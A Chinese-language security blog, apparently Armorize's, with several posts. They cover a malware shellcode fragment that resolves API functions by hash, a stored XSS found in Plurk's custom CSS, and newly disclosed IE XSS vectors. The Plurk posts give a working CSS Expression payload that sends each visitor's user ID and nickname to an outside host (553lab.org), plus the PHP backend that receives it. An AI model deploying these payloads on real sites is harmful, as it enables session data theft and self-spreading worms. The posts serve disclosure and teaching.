0935 movsx   edx, byte ptr [eax] ; / Create checksum for function's name
0938 cmp     dh, dl          ;     |
093A jz      short loc_944   ;     | Break if the hit string termination
093C ror     esi, 7          ;     |
093F add     esi, edx        ;     |
0941 inc     eax             ;     |
0942 jmp     short loc_935   ;     \
0944 ; ------------------------------------------------------
0944
0944 loc_944:                ; CODE XREF: get_func+24j
0944 cmp     [edi], esi      ; Compare the current checksum
0944                         ; against the checksum list
0946 pop     esi
0947 jnz     short loc_92E   ; if not equal iterate to the next
0947                         ; function in the export table
0949 pop     edx
094A mov     ebp, ebx        ;  / Obtain the function's entry address
094C mov     ebx, [edx+24h]  ;  | directly by parsing
094F add     ebx, ebp        ;  | kernel32.dll structure
0951 mov     cx, [ebx+ecx*2] ;  |
0955 mov     ebx, [edx+1Ch]  ;  |
0958 add     ebx, ebp        ;  |
095A mov     eax, [ebx+ecx*4];  |
095D add     eax, ebp        ;  |
095F stosd                   ;  \ Replace the function's checksum
095F                         ;    with its handle
0960 pop     esi
0961 pop     edi
0962 add     edi, 4          ; Move on to the next checksum
0962                         ; in the list
0965 pop     eax
0966 pop     ebx
0967 retn
0967 get_func endp
大致上就是這樣子。由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版。若有興趣對於分析內容做討論,或討論其他樣本,歡迎聯絡阿碼的 Wayne。

繼續閱讀全文...

2009年6月29日

誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)


Web、HTML、CSS、各家瀏覽器,都在持續演進著,以資安的觀點來看,演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE,現在已經到IE 8了。

本文續「誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)」。

許多朋友透過email/msn/plurk問我,這個攻擊為何說IE<=7才能觸發?其實這個問題不是三言兩語解釋得清楚,所以我只在文中寫IE<=7,不想讓已經很長的一篇變得更長,但沒想到大家都很厲害,這個問題大家都還是問了。那我們就來談談,為何此攻擊IE<=7才能work吧!

其實我只確定IE 7可以work,IE 8不行,IE 1-6,我沒裝,沒測過。可是為何我沒說IE 8可以,而又為何有朋友認為應該可以?認為可以的朋友們最大的「證據」之一,就是Plurk個人首頁的HTML中有一行:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

由於CSS、HTML的規格不斷演進,各家瀏覽器也一直在變,一個網頁如何被解譯,跟瀏覽器決定用何種模式來解譯有很大的關係。HTML 5規格中即定義了三個模式:no quirks mode(標準模式,standard mode)、quirks mode(相容模式)、以及limited quirks mode(限制相容模式 / 近標準模式,almost standards mode)。不同模式影響了瀏覽器如何解析(parse)以及展現一份HTML文件;就資安的角度而言,不同模式的影響甚大,例如文件中對於script的處理,就會因不同模式而有差異。

就瀏覽器來說,不同模式間行為差距最大的,應該算是IE,又以IE 7到IE 8為明顯。IE 8一共支援了四種模式:IE 8 standard(標準)模式、IE 8 almost standards(近標準)模式、IE 7 standard(標準)模式、IE 5.5 quirks(相容)模式。「誰在看我的噗?」中所用的攻擊點:

body {background-image: expression(alert("XSS"));}

即是自從IE 8 beta 2之後,已經自IE 8標準模式中移除了;意思就是,如果是在IE 8標準模式下,此攻擊點無效,expression並不會被執行。那麼IE 8如何決定何時用哪種模式來執行呢?答案是根據許多條件,其中包含了HTTP檔頭、doctype、meta X-UA-Compatible、微軟的網站黑名單、以即使用者的設定等。那滲透測試的過程中,如何得知IE選擇哪種模式來處理一個網頁呢?最簡單的方式,是安裝IE Developer Toolbar。這個跟firebug互別苗頭的工具,一直是滲透測試時的好幫手。IE Developer Toolbar可以顯示出IE使用哪種模式來解譯目前的網頁。以Plurk為例,我的Toolbar顯示如下:

為何Plurk是在IE 8標準模式執行呢?我們看一下程式碼:

Server: nginx/0.6.32
Date: Sun, 28 Jun 2009 18:49:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 28 Jun 2009 18:49:37 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 36704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<script type="text/javascript">
if(window != top && window.location.toString().indexOf("/_comet/") == -1) {
//Inside an iframe
top.location.href = location.href;
}
</script>

<title>
armorize_wayne
</title>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="verify-v1" content="iBRwaQ/3d4NoF1uaa2SAfCJ962ORry1TE8/4XxtIbHk=" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

恩,既然有定義doctype,也有用meta定義了X-UA-Compatible為「IE=EmulateIE7」,那應該要迫使IE 8在「IE 7標準模式」下解譯Plurk,為何toolbar還是顯示「IE 8標準模式」,而且攻擊也確實無法執行?始作俑者就是meta前面的javascript。如果沒有這段javascript的話,那IE 8就會轉換至「IE 7標準模式」下執行,而上述攻擊就仍然有效。當場try看看好了。利用fiddler,然後用IE 8開plurk,用羔羊帳號(goat_victim)登入,然後瀏覽我的Plurk頁面,可以看出瀏覽器發出以下的http request,其中並沒有對553lab.org發出request,表示攻擊並未成功:

這時我們利用「bpu http://www.plurk.com/armorize_wayne」設好中斷點(breakpoint,見上圖底黑底緑字處),然後IE 8按F5重新載入,中斷點停下來後,選擇「Break on Response」,然後等到獲得plurk伺服器回應的http response時,中斷點又再度停下來,這時我們手動改此HTML,將javascript移到「X-UA-Compatible」這行之後,並選擇「Run to Completion」:

下圖為執行後的畫面,我們看到IE 8發了一個request給http://553lab.org,表示我們的XSS(跨網站腳本漏洞)成功了,javascript被執行了:

回到IE 8,可以看到我的Plurk頁面上,機器人已經自動對來訪者(goat_victim)打招呼了:

那麼IE 8決定解譯模式的流程為何?以下流程圖來自:http://hsivonen.iki.fi/doctype/ie8-mode.png

圖中紅色部分為這次我的IE 8決定採用「IE 8標準模式」的流程圖。IE 8的決定,除了噗浪網站的HTTP檔頭與HTML內容外,我本身的IE 8 相容性設定也有影響。我的相容性設定為預設值(Tools->Compatibility View Settings):

其中的決定包含:
1. 是否有X-UA-Compatible meta標籤:事實:有,但是前面已經先有javascript。
2. HTTP檔頭中是否有設X-UA-Compatible?事實:沒有
3. 我的IE 8相容性設定是否有勾選「display all websites」?事實:沒有
4. ...

有可能這是Plurk刻意的設計,讓IE 8在「IE 8標準模式」中執行,但也有可能是Plurk本意是要藉由設定X-UA-Compatible來讓IE 8切換至「IE 7標準模式」,可是後來在前面加了一段javascript,誤讓模式跳回了「IE 8標準模式」,也同時讓我們的攻擊失效了。

無論如何,Plurk讓IE 8在「IE 8標準模式」中執行,導致我們前一篇中所提之攻擊點失效,也是為何前一篇中,我沒有說攻擊能在IE 8上執行之原因。至於有朋友問,明明CSS中的expression,有用IE 8測過,確定可以work,為何說不行?答案是這要看你的頁面讓你的IE 8呈現何種模式?如果在HTML內或HTTP檔頭中都沒有設定X-UA-Compatible,也沒有特別設定doctype的話,那就很有可能跑到相容模式去,而導致CSS expression攻擊成功了。

瀏覽器的解譯模式會直接影響javascript執行方式,進而影響資安結構;不但doctype、meta tag以及HTTP檔頭,甚至連javascript擺的位子之些微差距,都有可能影響一個網頁之安全性。您清楚您網站於IE各版本上的解譯模式嗎?

作者Wayne為阿碼科技一員
p.s.順便簡短一併回一些問題:
Q:這個漏洞可以用來寫蠕蟲嗎?答:可以
Q:噗浪修補好了嗎?答:「這個漏洞」修補好了,但是即使同一個手法,也可以有很多種變形,是否都阻擋了?我沒測
Q:之前提的csrf蠕蟲能公開嗎?答:噗浪還沒修好,所以還不能公開

系列第一篇:誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:(本篇)誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!


繼續閱讀全文...

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnake的XSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnake的XSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡、這裡、這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper、投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working Group或WHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁、paper、投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper、投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

「縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...

2008年9月8日

跨站腳本攻擊(XSS):過濾不完的惡夢,又有新攻擊語法!

跨站腳本攻擊(Cross Site Scripting,簡稱 XSS,亦翻為跨網站的入侵字串)又有新的攻擊語法!此次觸發惡意腳本不需要用到 script 標籤(譬如 <script>alert(1)</script>),也不用 javascript 協定(譬如 javascript:alert(1)),而是 8 月 26 日所揭露的

<isindex type=image src=1 onerror=alert(1)>

<isindex>是一個很早就有但普遍少用的標籤,其功能與<form>、<input>、<textarea>,以及<select>類似,都可供使用者輸入資料。onerror 屬性也是鮮為人知。
各家瀏覽器在實現 HTML 的支援度不盡相同,各國語系又對編碼有所差異,這些都使得跨站腳本攻擊(XSS)的攻擊語法千變萬化,也讓駭客更能規避掉不少治標的防護機制,像是 WAF 解決方案,畢竟新的攻擊手法就要新的規則(好加在我們家的 WAF 可以幫你生規則,請參考你期望的 WAF 是? XD),源碼檢測才是治本的作法阿,從 Web 應用程式端利用編碼、過濾等方式讓這些奇奇怪怪的攻擊語法全部繳械!(請參考談源碼檢測: CodeSecure的架構與技術)

我們在各個常見瀏覽器平台(Microsoft Internet Explorer、Mozilla Firefox、Opera,以及Google Chrome)的測試結果是,這個跨站腳本攻擊(XSS)新攻擊語法僅適用於 IE 系列的瀏覽器(含最新的 IE8)。註:我們在下列示範中所採用的 alert(1) 字串可換成各種惡意腳本,而並非跨站腳本攻擊(XSS)只能做到跳出一個視窗打招呼。

<isindex type=image src=1 onerror=alert(1)>
攻擊語法



稍加調整甚至不需要定義 src 屬性也可成功:
<isindex type=image onerror=alert(1) src=>攻擊語法


跨站腳本攻擊(XSS)不虧是名列最新 OWASP Top 2007(2007年 OWASP 十大 Web 資安漏洞)的榜首,「簡單好用、防不勝防」!

